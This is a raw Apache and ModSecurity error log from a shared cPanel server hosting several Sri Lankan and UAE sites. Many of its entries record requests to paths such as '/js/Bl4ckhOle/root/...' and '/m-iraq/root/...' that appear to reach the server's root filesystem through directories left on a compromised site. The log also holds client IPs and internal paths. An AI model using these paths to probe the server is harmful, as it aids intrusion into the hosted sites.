[Fri Jul 17 09:29:58.235745 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:46310] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:29:58.873950 2026] [security2:error] [pid 2013829:tid 2013829] [client 57.141.18.60:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory45/node0/memory108/node0/subsystem/drivers/"] [unique_id "almovg7FYe46zHK_jL3WDQAAABk"]
[Fri Jul 17 09:29:58.873992 2026] [security2:error] [pid 2013829:tid 2013829] [client 57.141.18.60:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory45/node0/memory108/node0/subsystem/drivers/"] [unique_id "almovg7FYe46zHK_jL3WDQAAABk"]
[Fri Jul 17 09:29:58.937523 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:46350] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:29:59.367407 2026] [security2:error] [pid 2028246:tid 2028246] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almovzsMb3am0TgkjETgyQAAAAo"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:29:59.367452 2026] [security2:error] [pid 2028246:tid 2028246] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almovzsMb3am0TgkjETgyQAAAAo"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:30:00.034852 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:46500] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:30:03.168936 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:03.782501 2026] [security2:error] [pid 2029579:tid 2029579] [client 20.206.89.130:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/seyawinc-global": Permission denied [hostname "colombobss.com"] [uri "/155.php"] [unique_id "almowyRF0UOO1RzB5_80iwAAAA4"]
[Fri Jul 17 09:30:03.782555 2026] [security2:error] [pid 2029579:tid 2029579] [client 20.206.89.130:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/seyawinc-ip": Permission denied [hostname "colombobss.com"] [uri "/155.php"] [unique_id "almowyRF0UOO1RzB5_80iwAAAA4"]
[Fri Jul 17 09:30:04.119473 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/images/EPI VPD - 12.jpg"] [unique_id "almoxA5GPQ6hs4VrfMpIYAAAAAY"]
[Fri Jul 17 09:30:04.120027 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/images/EPI VPD - 12.jpg"] [unique_id "almoxA5GPQ6hs4VrfMpIYAAAAAY"]
[Fri Jul 17 09:30:04.120557 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/images/EPI VPD - 12.jpg"] [unique_id "almoxA5GPQ6hs4VrfMpIYAAAAAY"]
[Fri Jul 17 09:30:06.199034 2026] [security2:error] [pid 2030804:tid 2030804] [client 57.141.18.74:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory3/subsystem/devices/memory88/subsystem/devices/memory57/node0/memory84/node0/memory33/"] [unique_id "almoxoe39YUk0SgV8AVAYAAAABE"]
[Fri Jul 17 09:30:06.746200 2026] [security2:error] [pid 2030804:tid 2030804] [client 57.141.18.74:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory3/subsystem/devices/memory88/subsystem/devices/memory57/node0/memory84/node0/memory33/"] [unique_id "almoxoe39YUk0SgV8AVAYAAAABE"]
[Fri Jul 17 09:30:06.997010 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:06.998134 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:08.041346 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:33676] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:30:10.029771 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:10.298932 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:33776] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:30:12.481277 2026] [core:error] [pid 2030774:tid 2030774] (13)Permission denied: [client 47.82.52.244:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:64/device/tty/ttyS0/line
[Fri Jul 17 09:30:12.492522 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:13.875522 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:43342] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:30:14.016619 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:43372] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:30:14.691674 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:43414] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:30:15.572622 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:15.604689 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:16.872467 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:43568] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:30:18.036972 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:18.129426 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:18.136950 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:18.141205 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:18.221203 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:18.318916 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:18.769298 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:18.954933 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:19.016127 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:19.040782 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:19.078925 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:43704] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:30:19.230348 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:19.525500 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:19.890552 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:19.980556 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:20.072257 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:20.426389 2026] [security2:error] [pid 2013829:tid 2013829] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almo1A7FYe46zHK_jL3WJQAAABk"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:30:20.426439 2026] [security2:error] [pid 2013829:tid 2013829] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almo1A7FYe46zHK_jL3WJQAAABk"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:30:20.439376 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/i2c/devices/i2c-0/device/driver/remove_id
[Fri Jul 17 09:30:20.516531 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:43776] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:30:20.516749 2026] [security2:error] [pid 2030955:tid 2030955] [client 57.141.18.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory5/subsystem/devices/memory103/node0/memory53/subsystem/devices/memory9/valid_zones"] [unique_id "almo1PwooI4qY7Jg93pblAAAABM"]
[Fri Jul 17 09:30:20.516774 2026] [security2:error] [pid 2030955:tid 2030955] [client 57.141.18.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory5/subsystem/devices/memory103/node0/memory53/subsystem/devices/memory9/valid_zones"] [unique_id "almo1PwooI4qY7Jg93pblAAAABM"]
[Fri Jul 17 09:30:20.531769 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:20.631041 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty52/subsystem/ttyS1/line
[Fri Jul 17 09:30:20.847897 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:21.170873 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:21.444009 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:21.535725 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:21.716852 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:21.989685 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:22.083005 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:22.186156 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 47.82.55.34:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/PNP0A06:00/subsystem/drivers_probe
[Fri Jul 17 09:30:22.236014 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:22.265662 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:22.355838 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:22.462285 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:22.552385 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:22.647239 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:25.393659 2026] [security2:error] [pid 2018757:tid 2018757] [client 57.141.18.117:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory133/node0/memory126/subsystem/devices/memory75/subsystem/devices/memory122/node0/memory107/node0/memory94/"] [unique_id "almo2UkXT4NBqALj2laDLAAAABA"]
[Fri Jul 17 09:30:25.393721 2026] [security2:error] [pid 2018757:tid 2018757] [client 57.141.18.117:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory133/node0/memory126/subsystem/devices/memory75/subsystem/devices/memory122/node0/memory107/node0/memory94/"] [unique_id "almo2UkXT4NBqALj2laDLAAAABA"]
[Fri Jul 17 09:30:26.551813 2026] [security2:error] [pid 2030804:tid 2030804] [client 54.204.61.166:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "gnetuniversals.com"] [uri "/robots.txt"] [unique_id "almo2oe39YUk0SgV8AVAcwAAABE"]
[Fri Jul 17 09:30:26.552181 2026] [security2:error] [pid 2030804:tid 2030804] [client 54.204.61.166:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "gnetuniversals.com"] [uri "/robots.txt"] [unique_id "almo2oe39YUk0SgV8AVAcwAAABE"]
[Fri Jul 17 09:30:26.552625 2026] [security2:error] [pid 2030804:tid 2030804] [client 54.204.61.166:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "gnetuniversals.com"] [uri "/robots.txt"] [unique_id "almo2oe39YUk0SgV8AVAcwAAABE"]
[Fri Jul 17 09:30:26.909880 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 57.141.18.68:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory88/node0/subsystem/devices/node0/memory117/subsystem/drivers_probe
[Fri Jul 17 09:30:27.904725 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:50660] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:30:28.082543 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:50664] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:30:28.752388 2026] [security2:error] [pid 2029579:tid 2029579] [client 20.206.89.130:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/seyawinc-global": Permission denied [hostname "colombobss.com"] [uri "/wp-admin/css/colors/blue/"] [unique_id "almo3CRF0UOO1RzB5_80mQAAAA4"]
[Fri Jul 17 09:30:28.752423 2026] [security2:error] [pid 2029579:tid 2029579] [client 20.206.89.130:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/seyawinc-ip": Permission denied [hostname "colombobss.com"] [uri "/wp-admin/css/colors/blue/"] [unique_id "almo3CRF0UOO1RzB5_80mQAAAA4"]
[Fri Jul 17 09:30:29.144077 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:29.258358 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:29.469791 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:30.112367 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:30.296065 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:30.386304 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:30.679664 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:30.807899 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:50784] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:30:30.858606 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:30.949587 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:31.041919 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:31.227645 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:31.317457 2026] [core:error] [pid 2030774:tid 2030774] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:00/subsystem/drivers/thermal/bind
[Fri Jul 17 09:30:31.500533 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:31.610867 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:31.682501 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:12/subsystem/drivers/thermal/bind
[Fri Jul 17 09:30:31.774332 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:31.957385 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:32.047915 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:32.230616 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:32.465670 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:32.504835 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:32.874162 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/fs/cgroup/cpuacct/lve1024/tasks"] [unique_id "almo4CRF0UOO1RzB5_80nwAAAA4"]
[Fri Jul 17 09:30:32.874209 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/fs/cgroup/cpuacct/lve1024/tasks"] [unique_id "almo4CRF0UOO1RzB5_80nwAAAA4"]
[Fri Jul 17 09:30:33.242169 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:33.536807 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:33.686571 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:33.780203 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:33.960530 2026] [core:error] [pid 2036488:tid 2036488] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:10/subsystem/drivers/battery/bind
[Fri Jul 17 09:30:34.049953 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/sys/net/ipv4/route/flush
[Fri Jul 17 09:30:34.141869 2026] [core:error] [pid 2030774:tid 2030774] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:19/subsystem/drivers/thermal/bind
[Fri Jul 17 09:30:34.415705 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:36.335104 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 57.141.18.100:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory50/subsystem/devices/memory143/node0/memory35/subsystem/uevent
[Fri Jul 17 09:30:37.957959 2026] [ssl:error] [pid 1993619:tid 1993619] (5)Input/output error: [client 66.85.158.91:45496] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:30:38.960625 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:45554] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:30:39.144947 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:39.349844 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:39.352744 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:39.420709 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:39.485591 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:39.552706 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:39.704717 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:39.706853 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:39.799491 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:39.890464 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:30:39.983434 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
